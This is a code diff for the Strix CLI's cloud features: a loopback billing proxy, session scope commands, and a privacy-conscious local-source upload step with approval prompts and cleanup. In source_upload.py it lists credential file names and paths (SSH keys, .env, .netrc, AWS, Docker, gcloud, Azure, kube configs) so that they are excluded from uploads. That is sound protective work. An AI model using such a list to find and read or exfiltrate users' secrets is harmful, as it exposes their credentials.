+                    allow_redirects=False,
+                    stream=True,
+                )
+                try:
+                    response_body = _bounded_response_body(response)
+                    response_status = response.status_code
+                    response_headers = dict(response.headers)
+                finally:
+                    response.close()
+            except _ResponseTooLargeError:
+                _send_json_error(self, 502, "Strix billing response was too large")
+                return
+            except requests.RequestException:
+                _send_json_error(self, 502, "Could not reach the Strix billing endpoint")
+                return
+
+            if state.response_observer is not None:
+                with suppress(Exception):
+                    state.response_observer(
+                        WalletUpstreamResponse(status_code=response_status, body=response_body)
+                    )
+
+            if 300 <= response_status < 400:
+                _send_json_error(self, 502, "Strix billing refused an unexpected redirect")
+                return
+
+            self.send_response(response_status)
+            response_connection_headers = {
+                item.strip().lower()
+                for item in response_headers.get("Connection", "").split(",")
+                if item.strip()
+            }
+            blocked_response_headers = {
+                *_HOP_BY_HOP_HEADERS,
+                *response_connection_headers,
+                "cache-control",
+                "content-encoding",
+                "content-length",
+                "location",
+            }
+            for name, value in response_headers.items():
+                if (
+                    name.lower() not in blocked_response_headers
+                    and "\r" not in value
+                    and "\n" not in value
+                ):
+                    self.send_header(name, value)
+            self.send_header("Content-Length", str(len(response_body)))
+            self.send_header("Cache-Control", "no-store")
+            self.end_headers()
+            with suppress(BrokenPipeError, ConnectionResetError):
+                self.wfile.write(response_body)
+
+        def do_GET(self) -> None:
+            _send_json_error(self, 405, "Method not allowed")
+
+        def do_PUT(self) -> None:
+            _send_json_error(self, 405, "Method not allowed")
+
+        def do_PATCH(self) -> None:
+            _send_json_error(self, 405, "Method not allowed")
+
+        def do_DELETE(self) -> None:
+            _send_json_error(self, 405, "Method not allowed")
+
+    return WalletBridgeHandler
+
+
+@contextmanager
+def wallet_payment_bridge(
+    *,
+    upstream_url: str,
+    api_token: str,
+    expected_body: bytes,
+    timeout: float | None = None,
+    response_observer: Callable[[WalletUpstreamResponse], None] | None = None,
+) -> Generator[str]:
+    """Yield a one-run loopback URL that injects the Strix API token upstream.
+
+    The random path prevents accidental cross-process requests and limits local
+    denial-of-service races.  It is not an authentication boundary against a
+    same-user process that can inspect another process's argv.
+    """
+    capability = secrets.token_urlsafe(32)
+    path = f"/topup/{capability}"
+    state = _BridgeState(
+        upstream_url=upstream_url,
+        authorization=f"Bearer {api_token}",
+        expected_body=expected_body,
+        path=path,
+        timeout=timeout or _DEFAULT_REQUEST_TIMEOUT_S,
+        response_observer=response_observer,
+    )
+    server = ThreadingHTTPServer(("127.0.0.1", 0), _make_handler(state))
+    server.daemon_threads = True
+    thread = threading.Thread(
+        target=server.serve_forever,
+        kwargs={"poll_interval": 0.05},
+        name="strix-wallet-bridge",
+        daemon=True,
+    )
+    thread.start()
+    try:
+        yield f"http://127.0.0.1:{server.server_port}{path}"
+    finally:
+        server.shutdown()
+        server.server_close()
+        thread.join(timeout=1)

strix/interface/cloud/session.py

@@ -0,0 +1,167 @@
+"""Inspect and safely narrow a managed Strix CLI session."""
+
+from __future__ import annotations
+
+import os
+from typing import TYPE_CHECKING, Any, cast
+
+from rich.console import Console
+from rich.markup import escape
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+from strix.interface.cloud.arguments import CloudArgumentParser
+from strix.interface.cloud.render import emit, json_mode
+from strix.interface.platform_cli import read_record, save_record
+from strix.interface.terminal_text import sanitize_terminal_text
+
+
+if TYPE_CHECKING:
+    import argparse
+
+
+def run_session(argv: list[str]) -> int:
+    console = Console()
+    normalized = ["show", *argv] if not argv or argv[0].startswith("-") else list(argv)
+    if normalized[0] == "help":
+        normalized = ["--help", *normalized[1:]]
+    if normalized[0] in {"-h", "--help"}:
+        _print_help(console)
+        return 0
+    verb = normalized.pop(0)
+    if verb == "scopes" and normalized and normalized[0] == "set":
+        normalized.pop(0)
+        return _run_scopes_set(console, normalized)
+    if verb not in {"show", "scopes"}:
+        console.print(f"[red]Unknown session command:[/] {escape(sanitize_terminal_text(verb))}")
+        _print_help(console)
+        return http.EXIT_USAGE
+    return _run_show(console, normalized, scopes_only=verb == "scopes")
+
+
+def _common(parser: argparse.ArgumentParser) -> None:
+    parser.add_argument("--json", action="store_true", help="Print the raw JSON response.")
+    parser.add_argument("--show-scopes", action="store_true", help="Print every granted scope.")
+    parser.add_argument("--token", default=None, help="API token override.")
+    parser.add_argument("--workspace-id", default=None, metavar="ORG_ID")
+    parser.add_argument("--app-url", default=None, metavar="URL")
+    parser.add_argument("--timeout", default=None, type=float, metavar="SECONDS")
+
+
+def _configure(args: argparse.Namespace) -> bool:
+    external = args.token is not None or bool(os.environ.get("STRIX_API_TOKEN", "").strip())
+    http.configure(
+        base_url=args.app_url,
+        timeout=args.timeout,
+        token_override=bool(args.token),
+        workspace_id=args.workspace_id,
+    )
+    return external
+
+
+def _run_show(console: Console, argv: list[str], *, scopes_only: bool) -> int:
+    parser = CloudArgumentParser(prog=f"strix cloud session {'scopes' if scopes_only else 'show'}")
+    _common(parser)
+    as_json = json_mode(flag="--json" in argv)
+    try:
+        args = parser.parse_args(argv)
+        _configure(args)
+        payload = http.check(http.request("GET", "/cli/session", token=args.token))
+    except SystemExit as exc:
+        return int(exc.code or 0)
+    except http.CloudError as exc:
+        return _error(console, exc, as_json=as_json)
+    if not isinstance(payload, dict):
+        return _error(console, http.CloudError("invalid CLI session response"), as_json=as_json)
+    record = cast("dict[str, Any]", payload)
+    if as_json:
+        emit(console, record, as_json=True)
+        return http.EXIT_OK
+    scopes = _string_list(record.get("scopes"))
+    ceiling = _string_list(record.get("scope_ceiling"))
+    profile = str(record.get("scope_profile") or "custom").title()
+    if not scopes_only:
+        device_name = escape(str(record.get("device_name") or "this device"))
+        console.print(f"[green]Active CLI session[/] on [bold]{device_name}[/]")
+        console.print(f"  Workspace: {escape(str(record.get('organization_id') or 'unknown'))}")
+    console.print(f"  Access: {profile} · {len(scopes)} scopes granted · {len(ceiling)} maximum")
+    if args.show_scopes or scopes_only:
+        console.print(f"  Granted: [dim]{escape(' '.join(scopes))}[/]")
+        console.print(f"  Ceiling: [dim]{escape(' '.join(ceiling))}[/]")
+    return http.EXIT_OK
+
+
+def _run_scopes_set(console: Console, argv: list[str]) -> int:
+    parser = CloudArgumentParser(
+        prog="strix cloud session scopes set",
+        description="Change scopes within the access approved at browser sign-in.",
+    )
+    mode = parser.add_mutually_exclusive_group(required=True)
+    mode.add_argument("profile", nargs="?", choices=("minimal", "recommended", "full"))
+    mode.add_argument("--scopes", nargs="+", metavar="SCOPE")
+    _common(parser)
+    as_json = json_mode(flag="--json" in argv)
+    try:
+        args = parser.parse_args(argv)
+        external = _configure(args)
+        body = (
+            {"scope_profile": args.profile}
+            if args.profile
+            else {"scope_profile": "custom", "scopes": args.scopes}
+        )
+        payload = http.check(http.request("PATCH", "/cli/session", token=args.token, body=body))
+    except SystemExit as exc:
+        return int(exc.code or 0)
+    except http.CloudError as exc:
+        return _error(console, exc, as_json=as_json)
+    if not isinstance(payload, dict):
+        return _error(console, http.CloudError("invalid CLI session response"), as_json=as_json)
+    result = cast("dict[str, Any]", payload)
+    if not external:
+        stored = read_record()
+        if stored is not None:
+            stored.update(
+                {
+                    key: result[key]
+                    for key in ("scopes", "requested_scopes", "scope_ceiling", "scope_profile")
+                    if key in result
+                }
+            )
+            save_record(stored)
+    if as_json:
+        emit(console, result, as_json=True)
+    else:
+        scopes = _string_list(result.get("scopes"))
+        profile = str(result.get("scope_profile") or "custom").title()
+        console.print(f"[green]✓ CLI access updated.[/] {profile} · {len(scopes)} scopes granted")
+        if args.show_scopes:
+            console.print(f"  Scopes: [dim]{escape(' '.join(scopes))}[/]")
+    return http.EXIT_OK
+
+
+def _string_list(value: Any) -> list[str]:
+    if not isinstance(value, list):
+        return []
+    items = cast("list[Any]", cast("Any", value))
+    return [str(item) for item in items]
+
+
+def _error(console: Console, error: http.CloudError, *, as_json: bool) -> int:
+    if as_json:
+        raw_payload: Any = error.payload
+        error_payload = cast("dict[str, Any]", raw_payload)
+        payload = dict(error_payload) if isinstance(raw_payload, dict) else {}
+        payload["error"] = str(error)
+        if payload.get("detail") == payload.get("error"):
+            payload.pop("detail", None)
+        emit(console, payload, as_json=True)
+    else:
+        console.print(f"[red]Error:[/] {escape(sanitize_terminal_text(error))}")
+    return error.exit_code
+
+
+def _print_help(console: Console) -> None:
+    console.print("[bold]strix cloud session[/] commands:")
+    console.print("  show                         Show the remote CLI session (default).")
+    console.print("  scopes                       Show granted scopes and consent ceiling.")
+    console.print("  scopes set PROFILE           Use minimal, recommended, or full.")
+    console.print("  scopes set --scopes SCOPE…   Use a custom set within the ceiling.")

strix/interface/cloud/source_scan.py

@@ -0,0 +1,403 @@
+"""Local-source approval, upload, and scan-launch lifecycle."""
+
+from __future__ import annotations
+
+import re
+import sys
+from dataclasses import dataclass
+from typing import TYPE_CHECKING, Any, cast
+from urllib.parse import quote
+
+from rich.markup import escape
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+from strix.interface.cloud.render import emit
+from strix.interface.cloud.source_upload import prepare_source, remove_bundle
+from strix.interface.terminal_text import sanitize_terminal_text
+
+
+if TYPE_CHECKING:
+    import argparse
+    from typing import NoReturn
+
+    from rich.console import Console
+
+    from strix.interface.cloud.source_upload import SourceBundle
+
+
+_SHA256 = re.compile(r"^[0-9a-fA-F]{64}$")
+
+
+@dataclass
+class LocalSourceScan:
+    """Own one local bundle and its staged upload through a scan launch."""
+
+    bundle: SourceBundle | None = None
+    upload_id: str | None = None
+    idempotency_key: str | None = None
+    _launch_started: bool = False
+
+    def prepare_and_attach(
+        self,
+        console: Console,
+        args: argparse.Namespace,
+        body: dict[str, Any],
+        *,
+        as_json: bool,
+        token: str | None,
+    ) -> bool:
+        """Prepare source, emit a dry run, or upload and attach it to ``body``.
+
+        Returns ``True`` when a dry run was emitted and request execution should stop.
+        """
+        self.bundle = prepare_scan_source(console, args, as_json=as_json)
+        if self.bundle is None:
+            return False
+        if getattr(args, "dry_run", False):
+            emit(
+                console,
+                {"source": self.bundle.summary(show_files=getattr(args, "show_files", False))},
+                as_json=as_json,
+                view="source_manifest",
+            )
+            return True
+        self.upload_id = _upload_scan_source(self.bundle, token=token)
+        existing = body.get("upload_ids")
+        body["upload_ids"] = [
+            *(existing if isinstance(existing, list) else []),
+            self.upload_id,
+        ]
+        return False
+
+    def mark_launch_started(self) -> None:
+        """Record that the scan-creation request may have reached the platform."""
+        self._launch_started = self.upload_id is not None
+
+    def handle_request_failure(self, error: BaseException, *, token: str | None) -> None:
+        """Clean or retain a staged upload according to request ambiguity."""
+        if self.upload_id is None:
+            return
+        if self._launch_started:
+            if isinstance(error, KeyboardInterrupt):
+                raise _interrupted_source_upload_error(
+                    self.upload_id, self.idempotency_key
+                ) from None
+            if isinstance(error, Exception):
+                raise _retained_source_upload_error(
+                    self.upload_id, error, self.idempotency_key
+                ) from error
+            return
+        try:
+            _delete_upload(self.upload_id, token=token)
+        except (http.CloudError, KeyboardInterrupt) as cleanup_error:
+            if isinstance(error, Exception):
+                raise _source_cleanup_error(self.upload_id, error, cleanup_error) from error
+            interrupted = http.CloudError("source upload interrupted.", exit_code=130)
+            raise _source_cleanup_error(self.upload_id, interrupted, cleanup_error) from None
+
+    def handle_response_failure(
+        self,
+        error: BaseException,
+        *,
+        definitive: bool,
+        token: str | None,
+    ) -> None:
+        """Clean a rejected upload or retain one whose scan result is ambiguous."""
+        if self.upload_id is None:
+            return
+        if definitive:
+            try:
+                _delete_upload(self.upload_id, token=token)
+            except (http.CloudError, KeyboardInterrupt) as cleanup_error:
+                if isinstance(error, Exception):
+                    raise _source_cleanup_error(self.upload_id, error, cleanup_error) from error
+                interrupted = http.CloudError("source upload interrupted.", exit_code=130)
+                raise _source_cleanup_error(self.upload_id, interrupted, cleanup_error) from None
+            return
+        if isinstance(error, Exception):
+            raise _retained_source_upload_error(
+                self.upload_id, error, self.idempotency_key
+            ) from error
+
+    def wrap_result(self, result: Any, args: argparse.Namespace) -> Any:
+        """Attach the approved source manifest to a successful scan response."""
+        if self.bundle is None:
+            return result
+        return {
+            "source": self.bundle.summary(show_files=getattr(args, "show_files", False)),
+            "upload_id": self.upload_id,
+            "scan": result,
+        }
+
+    def close(self) -> None:
+        """Remove the private temporary bundle, if one was built."""
+        if self.bundle is not None:
+            remove_bundle(self.bundle)
+
+
+def prepare_scan_source(
+    console: Console, args: argparse.Namespace, *, as_json: bool
+) -> SourceBundle | None:
+    """Build and approve the exact local-source snapshot for one invocation."""
+    source = getattr(args, "source", None)
+    source_flags = (
+        "dry_run",
+        "show_files",
+        "include_hidden",
+        "include_sensitive",
+        "include_archives",
+        "approve_sha256",
+    )
+    if source is None:
+        if any(getattr(args, name, False) for name in source_flags) or getattr(args, "exclude", []):
+            raise http.CloudError("source upload options require --source DIRECTORY.")
+        return None
+    bundle = prepare_source(
+        source,
+        include_hidden=bool(getattr(args, "include_hidden", False)),
+        include_sensitive=bool(getattr(args, "include_sensitive", False)),
+        include_archives=bool(getattr(args, "include_archives", False)),
+        exclude=cast("list[str]", getattr(args, "exclude", [])),
+    )
+    keep_bundle = False
+    try:
+        approved_digest = _validate_source_digest_approval(args, bundle)
+        if getattr(args, "dry_run", False):
+            keep_bundle = True
+            return bundle
+        if getattr(args, "yes", False) or approved_digest is not None:
+            keep_bundle = True
+            return bundle
+        if as_json or not (sys.stdin.isatty() and sys.stdout.isatty()):
+            _source_approval_error(
+                "source upload requires explicit approval in non-interactive mode. "
+                "Review with --dry-run --show-files, then rerun with "
+                "--approve-sha256 <reviewed hash>; use --yes only for a deliberate "
+                "one-shot approval of the snapshot built by that invocation."
+            )
+        console.print(
+            "[bold]Local source upload[/]\n"
+            f"  {len(bundle.manifest.files):,} file(s), "
+            f"{_format_bytes(bundle.manifest.total_bytes)} "
+            f"({_format_bytes(bundle.archive_bytes)} compressed)\n"
+            f"  {sum(bundle.manifest.excluded.values()):,} path(s) excluded\n"
+            "  Only the selected files will be sent to Strix Cloud."
+        )
+        if getattr(args, "show_files", False):
+            console.print(f"\n[bold]Selected files ({len(bundle.manifest.files):,})[/]")
+            for selected in bundle.manifest.files:
+                console.print(
+                    f"  {escape(sanitize_terminal_text(selected.archive_name))}", soft_wrap=True
+                )
+        answer = (
+            console.input("Upload this source and start the scan? [y/N]: ", markup=False)
+            .strip()
+            .lower()
+        )
+        if answer not in ("y", "yes"):
+            _source_approval_error("source upload cancelled.")
+        keep_bundle = True
+        return bundle
+    finally:
+        if not keep_bundle:
+            remove_bundle(bundle)
+
+
+def _validate_source_digest_approval(args: argparse.Namespace, bundle: SourceBundle) -> str | None:
+    approved_digest = getattr(args, "approve_sha256", None)
+    if approved_digest is None:
+        return None
+    if not isinstance(approved_digest, str) or not _SHA256.fullmatch(approved_digest):
+        _source_approval_error("--approve-sha256 must be exactly 64 hexadecimal characters.")
+    if bundle.archive_sha256 != approved_digest.lower():
+        _source_approval_error(
+            "source archive SHA-256 does not match --approve-sha256; review a fresh "
+            "--dry-run before uploading."
+        )
+    return approved_digest
+
+
+def _source_approval_error(message: str) -> NoReturn:
+    raise http.CloudError(message)
+
+
+def _upload_scan_source(bundle: SourceBundle, *, token: str | None) -> str:
+    file_name = f"strix-source-{bundle.archive_sha256[:12]}.zip"
+    requested = http.check(
+        http.request(
+            "POST",
+            "/uploads/request",
+            token=token,
+            body={
+                "file_name": file_name,
+                "file_size": bundle.archive_bytes,
+                "category": "repository",
+            },
+        )
+    )
+    if not isinstance(requested, dict):
+        raise http.CloudError("the platform returned an invalid source upload response.")
+    fields = cast("dict[str, Any]", requested)
+    upload_id = fields.get("upload_id")
+    signed_url = fields.get("signed_url")
+    upload_token = fields.get("token")
+    if not all(isinstance(value, str) and value for value in (upload_id, signed_url, upload_token)):
+        error = http.CloudError("the platform did not return complete source upload credentials.")
+        if isinstance(upload_id, str) and upload_id:
+            try:
+                _delete_upload(upload_id, token=token)
+            except (http.CloudError, KeyboardInterrupt) as cleanup_error:
+                raise _source_cleanup_error(upload_id, error, cleanup_error) from error
+        raise error
+    try:
+        http.upload_file(cast("str", signed_url), cast("str", upload_token), bundle.archive_path)
+        completed = http.check(
+            http.request(
+                "POST",
+                "/uploads/complete",
+                token=token,
+                body={"upload_id": upload_id},
+            )
+        )
+        _validate_completed_upload(completed, expected_id=cast("str", upload_id))
+    except BaseException as error:
+        try:
+            _delete_upload(cast("str", upload_id), token=token)
+        except (http.CloudError, KeyboardInterrupt) as cleanup_error:
+            if isinstance(error, Exception):
+                raise _source_cleanup_error(cast("str", upload_id), error, cleanup_error) from error
+            interrupted = http.CloudError("source upload interrupted.", exit_code=130)
+            raise _source_cleanup_error(
+                cast("str", upload_id), interrupted, cleanup_error
+            ) from None
+        raise
+    return cast("str", upload_id)
+
+
+def _validate_completed_upload(completed: Any, *, expected_id: str) -> None:
+    fields = cast("dict[str, Any]", completed) if isinstance(completed, dict) else {}
+    if fields.get("id") != expected_id:
+        raise http.CloudError("the platform returned an invalid source upload completion response.")
+
+
+def _delete_upload(upload_id: str, *, token: str | None) -> None:
+    response = http.request("DELETE", f"/uploads/{quote(upload_id, safe='')}", token=token)
+    if response.status_code == 404 or 200 <= response.status_code < 300:
+        return
+    http.check(response)
+
+
+def _source_cleanup_note(upload_id: str, cleanup_error: BaseException) -> str:
+    return (
+        f"Cleanup of source upload {upload_id} could not be confirmed: {cleanup_error}. "
+        f"Retry with `strix cloud uploads delete {upload_id}`."
+    )
+
+
+def _source_cleanup_error(
+    upload_id: str, error: Exception, cleanup_error: BaseException
+) -> http.CloudError:
+    """Report a staged source object whenever automatic deletion is uncertain."""
+    message = f"{error} {_source_cleanup_note(upload_id, cleanup_error)}"
+    payload: dict[str, Any] = {}
+    exit_code = http.EXIT_ERROR
+    if isinstance(error, http.CloudError):
+        exit_code = error.exit_code
+        raw_payload: Any = error.payload
+        if isinstance(raw_payload, dict):
+            payload.update(cast("dict[str, Any]", raw_payload))
+        elif raw_payload is not None:
+            payload["detail"] = raw_payload
+    payload.update(
+        {
+            "error": message,
+            "upload_id": upload_id,
+            "upload_retained": True,
+            "cleanup_unknown": True,
+        }
+    )
+    return http.CloudError(message, exit_code=exit_code, payload=payload)
+
+
+def _interrupted_source_upload_error(
+    upload_id: str, idempotency_key: str | None = None
+) -> http.CloudError:
+    retry_note = _idempotency_retry_note(idempotency_key)
+    message = (
+        "Interrupted while starting the scan. The launch outcome is unknown, so source upload "
+        f"{upload_id} was retained. Check `strix cloud scans list` before retrying; if no scan "
+        f"was created, run `strix cloud uploads delete {upload_id}`.{retry_note}"
+    )
+    payload: dict[str, Any] = {
+        "error": message,
+        "interrupted": True,
+        "upload_id": upload_id,
+        "upload_retained": True,
+        "launch_outcome_unknown": True,
+    }
+    _attach_idempotency_recovery(payload, idempotency_key)
+    return http.CloudError(message, exit_code=130, payload=payload)
+
+
+def _retained_source_upload_error(
+    upload_id: str,
+    error: Exception,
+    idempotency_key: str | None = None,
+) -> http.CloudError:
+    """Preserve source when the platform may already have accepted its scan."""
+    retry_note = _idempotency_retry_note(idempotency_key)
+    message = (
+        f"{error} The scan launch outcome is unknown, so source upload {upload_id} was retained. "
+        "Check `strix cloud scans list` before retrying; if no scan was created, clean it up "
+        f"with `strix cloud uploads delete {upload_id}`. Linked uploads cannot be deleted."
+        f"{retry_note}"
+    )
+    payload: dict[str, Any] = {}
+    exit_code = http.EXIT_ERROR
+    if isinstance(error, http.CloudError):
+        exit_code = error.exit_code
+        raw_payload: Any = error.payload
+        error_payload = cast("dict[str, Any]", raw_payload)
+        if isinstance(raw_payload, dict):
+            payload.update(error_payload)
+        elif raw_payload is not None:
+            payload["detail"] = raw_payload
+    payload.update(
+        {
+            "error": message,
+            "upload_id": upload_id,
+            "upload_retained": True,
+            "launch_outcome_unknown": True,
+        }
+    )
+    _attach_idempotency_recovery(payload, idempotency_key)
+    return http.CloudError(message, exit_code=exit_code, payload=payload)
+
+
+def _idempotency_retry_note(idempotency_key: str | None) -> str:
+    if not idempotency_key:
+        return ""
+    return (
+        " An exact retry is safe only with the same request body and "
+        f"`--idempotency-key {idempotency_key}`."
+    )
+
+
+def _attach_idempotency_recovery(payload: dict[str, Any], idempotency_key: str | None) -> None:
+    if not idempotency_key:
+        return
+    payload.update(
+        {
+            "idempotency_key": idempotency_key,
+            "retry_safe": True,
+            "retry_same_request": True,
+        }
+    )
+
+
+def _format_bytes(value: int) -> str:
+    if value < 1024:
+        return f"{value} B"
+    if value < 1024 * 1024:
+        return f"{value / 1024:.1f} KB"
+    return f"{value / (1024 * 1024):.1f} MB"

strix/interface/cloud/source_upload.py

@@ -0,0 +1,703 @@
+"""Privacy-conscious local source packaging for managed scans."""
+
+from __future__ import annotations
+
+import fnmatch
+import hashlib
+import os
+import shutil
+import stat
+import subprocess  # nosec B404
+import tempfile
+import zipfile
+from collections import Counter
+from dataclasses import dataclass
+from pathlib import Path, PurePosixPath
+from typing import TYPE_CHECKING
+
+import strix.interface.cloud.http as http  # noqa: PLR0402
+
+
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+    from typing import Protocol
+
+    class _ScandirIterator(Iterator[os.DirEntry[str]], Protocol):
+        def close(self) -> None: ...
+
+
+MAX_FILES = 20_000
+MAX_FILE_BYTES = 25 * 1024 * 1024
+MAX_TOTAL_BYTES = 250 * 1024 * 1024
+MAX_ARCHIVE_BYTES = 50 * 1024 * 1024
+MAX_CANDIDATE_PATHS = 200_000
+MAX_IGNORE_BYTES = 64 * 1024
+MAX_IGNORE_PATTERNS = 1_000
+MAX_IGNORE_PATTERN_CHARS = 1_024
+
+_ALWAYS_EXCLUDED_DIRS = frozenset(
+    {
+        ".git",
+        ".hg",
+        ".svn",
+        "node_modules",
+        "vendor",
+        "venv",
+        ".venv",
+        "env",
+        "__pycache__",
+        ".tox",
+        ".pytest_cache",
+        ".mypy_cache",
+        ".ruff_cache",
+        "dist",
+        "build",
+        "coverage",
+        "target",
+        ".next",
+        ".nuxt",
+        ".gradle",
+    }
+)
+_SENSITIVE_NAMES = frozenset(
+    {
+        "id_rsa",
+        "id_dsa",
+        "id_ecdsa",
+        "id_ed25519",
+        "credentials.json",
+        "service-account.json",
+        "service_account.json",
+        ".env",
+        ".npmrc",
+        ".pypirc",
+        ".netrc",
+        ".git-credentials",
+        "application_default_credentials.json",
+    }
+)
+_SENSITIVE_PATTERNS = (
+    "*.pem",
+    "*.key",
+    "*.p12",
+    "*.pfx",
+    "*.keystore",
+    "*.jks",
+    "secrets.*",
+    "secret.*",
+    ".env.*",
+)
+_SENSITIVE_PATH_SUFFIXES = (
+    (".aws", "credentials"),
+    (".aws", "config"),
+    (".docker", "config.json"),
+    (".config", "gcloud", "credentials.db"),
+    (".azure", "accesstokens.json"),
+    (".azure", "azureprofile.json"),
+    (".kube", "config"),
+)
+_ARCHIVE_SUFFIXES = (
+    ".zip",
+    ".tar",
+    ".tgz",
+    ".tar.gz",
+    ".tar.bz2",
+    ".tar.xz",
+    ".7z",
+    ".rar",
+    ".gz",
+    ".bz2",
+    ".xz",
+    ".jar",
+    ".war",
+    ".whl",
+    ".nupkg",
+    ".apk",
+    ".ipa",
+)
+_ARCHIVE_MAGIC_PREFIXES = (
+    b"PK\x03\x04",
+    b"PK\x05\x06",
+    b"PK\x07\x08",
+    b"\x1f\x8b",
+    b"BZh",
+    b"\xfd7zXZ\x00",
+    b"7z\xbc\xaf\x27\x1c",
+    b"Rar!\x1a\x07",
+)
+
+
+@dataclass(frozen=True)
+class SelectedFile:
+    path: Path
+    archive_name: str
+    size: int
+    device: int
+    inode: int
+    mtime_ns: int
+    ctime_ns: int
+
+
+@dataclass(frozen=True)
+class SourceManifest:
+    source: Path
+    files: tuple[SelectedFile, ...]
+    excluded: Counter[str]
+    include_hidden: bool
+    include_sensitive: bool
+    include_archives: bool
+
+    @property
+    def total_bytes(self) -> int:
+        return sum(item.size for item in self.files)
+
+    def as_dict(
+        self,
+        *,
+        show_files: bool,
+        archive_bytes: int | None = None,
+        archive_sha256: str | None = None,
+    ) -> dict[str, object]:
+        result: dict[str, object] = {
+            "source": str(self.source),
+            "file_count": len(self.files),
+            "uncompressed_bytes": self.total_bytes,
+            "excluded_count": sum(self.excluded.values()),
+            "excluded_by_reason": dict(sorted(self.excluded.items())),
+            "include_hidden": self.include_hidden,
+            "include_sensitive": self.include_sensitive,
+            "include_archives": self.include_archives,
+        }
+        if archive_bytes is not None:
+            result["archive_bytes"] = archive_bytes
+        if archive_sha256 is not None:
+            result["archive_sha256"] = archive_sha256
+        if show_files:
+            result["files"] = [item.archive_name for item in self.files]
+        return result
+
+
+@dataclass(frozen=True)
+class SourceBundle:
+    manifest: SourceManifest
+    archive_path: Path
+    archive_bytes: int
+    archive_sha256: str
+
+    def summary(self, *, show_files: bool) -> dict[str, object]:
+        return self.manifest.as_dict(
+            show_files=show_files,
+            archive_bytes=self.archive_bytes,
+            archive_sha256=self.archive_sha256,
+        )
+
+
+def prepare_source(
+    value: str,
+    *,
+    include_hidden: bool,
+    include_sensitive: bool,
+    include_archives: bool,
+    exclude: list[str],
+) -> SourceBundle:
+    """Select safe source files and build a bounded temporary ZIP archive."""
+    source = Path(value).expanduser().resolve()
+    if not source.is_dir():
+        raise http.CloudError(f"--source must be a directory: {source}")
+    manifest = select_source(
+        source,
+        include_hidden=include_hidden,
+        include_sensitive=include_sensitive,
+        include_archives=include_archives,
+        exclude=exclude,
+    )
+    if not manifest.files:
+        raise http.CloudError("no files remain after applying source upload exclusions.")
+
+    with tempfile.NamedTemporaryFile(prefix="strix-source-", suffix=".zip", delete=False) as handle:
+        archive_path = Path(handle.name)
+    try:
+        _write_archive(archive_path, manifest.files)
+    except BaseException:
+        archive_path.unlink(missing_ok=True)
+        raise
+    archive_bytes = archive_path.stat().st_size
+    if archive_bytes > MAX_ARCHIVE_BYTES:
+        archive_path.unlink(missing_ok=True)
+        raise http.CloudError(
+            "source archive is larger than the 50 MB upload limit; narrow --source or "
+            "add --exclude patterns."
+        )
+    digest = _sha256(archive_path)
+    return SourceBundle(manifest, archive_path, archive_bytes, digest)
+
+
+def select_source(
+    source: Path,
+    *,
+    include_hidden: bool = False,
+    include_sensitive: bool = False,
+    include_archives: bool = False,
+    exclude: list[str] | None = None,
+) -> SourceManifest:
+    excluded: Counter[str] = Counter()
+    selected: list[SelectedFile] = []
+    patterns = [*_load_ignore_patterns(source), *(exclude or [])]
+    _validate_patterns(patterns)
+    total_bytes = 0
+    for relative in _candidate_paths(
+        source,
+        include_hidden=include_hidden,
+        patterns=patterns,
+        excluded=excluded,
+    ):
+        archive_name = relative.as_posix()
+        reason = _exclusion_reason(
+            relative,
+            include_hidden=include_hidden,
+            include_sensitive=include_sensitive,
+            include_archives=include_archives,
+            patterns=patterns,
+        )
+        if reason:
+            excluded[reason] += 1
+            continue
+        path = source / relative
+        try:
+            info = path.lstat()
+        except OSError:
+            excluded["unreadable"] += 1
+            continue
+        if not stat.S_ISREG(info.st_mode):
+            excluded["symlink_or_non_file"] += 1
+            continue
+        if not include_archives and _has_archive_magic(path):
+            excluded["nested_archive"] += 1
+            continue
+        if info.st_size > MAX_FILE_BYTES:
+            raise http.CloudError(
+                f"{archive_name} is larger than the 25 MB per-file limit; exclude it explicitly."
+            )
+        selected.append(
+            SelectedFile(
+                path=path,
+                archive_name=archive_name,
+                size=info.st_size,
+                device=info.st_dev,
+                inode=info.st_ino,
+                mtime_ns=info.st_mtime_ns,
+                ctime_ns=info.st_ctime_ns,
+            )
+        )
+        total_bytes += info.st_size
+        if len(selected) > MAX_FILES:
+            raise http.CloudError(
+                f"source contains more than {MAX_FILES:,} files; narrow --source or add exclusions."
+            )
+        if total_bytes > MAX_TOTAL_BYTES:
+            raise http.CloudError(
+                "selected source is larger than the 250 MB expanded-size limit; narrow --source "
+                "or add --exclude patterns."
+            )
+    selected.sort(key=lambda item: item.archive_name)
+    return SourceManifest(
+        source,
+        tuple(selected),
+        excluded,
+        include_hidden,
+        include_sensitive,
+        include_archives,
+    )
+
+
+def remove_bundle(bundle: SourceBundle) -> None:
+    bundle.archive_path.unlink(missing_ok=True)
+
+
+def _candidate_paths(
+    source: Path,
+    *,
+    include_hidden: bool,
+    patterns: list[str],
+    excluded: Counter[str],
+) -> Iterator[Path]:
+    git_root = _git_root(source)
+    if git_root is not None:
+        git = shutil.which("git")
+        if git is not None:
+            yield from _git_candidate_paths(git, git_root, source)
+            return
+    yield from _walk_candidate_paths(
+        source,
+        include_hidden=include_hidden,
+        patterns=patterns,
+        excluded=excluded,
+    )
+
+
+def _git_candidate_paths(git: str, git_root: Path, source: Path) -> Iterator[Path]:
+    """Stream Git's NUL-delimited manifest without buffering an unbounded repository."""
+    relative_source = source.relative_to(git_root)
+    command = [
+        git,
+        "-C",
+        str(git_root),
+        "ls-files",
+        "-z",
+        "--cached",
+        "--others",
+        "--exclude-standard",
+        "--",
+    ]
+    if relative_source != Path():
+        command.append(relative_source.as_posix())
+    try:
+        process = subprocess.Popen(  # noqa: S603  # nosec B603
+            command,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.DEVNULL,
+        )
+    except OSError as exc:
+        raise http.CloudError(f"could not enumerate Git source files: {exc}") from exc
+    assert process.stdout is not None
+    buffer = b""
+    count = 0
+    try:
+        while chunk := process.stdout.read(64 * 1024):
+            buffer += chunk
+            records = buffer.split(b"\0")
+            buffer = records.pop()
+            for raw in records:
+                relative = _git_relative_path(raw, relative_source)
+                if relative is None:
+                    continue
+                count += 1
+                _check_candidate_limit(count)
+                yield relative
+        if buffer:
+            raise http.CloudError("Git returned a malformed source file manifest.")
+        if process.wait() != 0:
+            raise http.CloudError("Git could not enumerate the source directory.")
+    finally:
+        process.stdout.close()
+        if process.poll() is None:
+            process.terminate()
+            try:
+                process.wait(timeout=1)
+            except subprocess.TimeoutExpired:
+                process.kill()
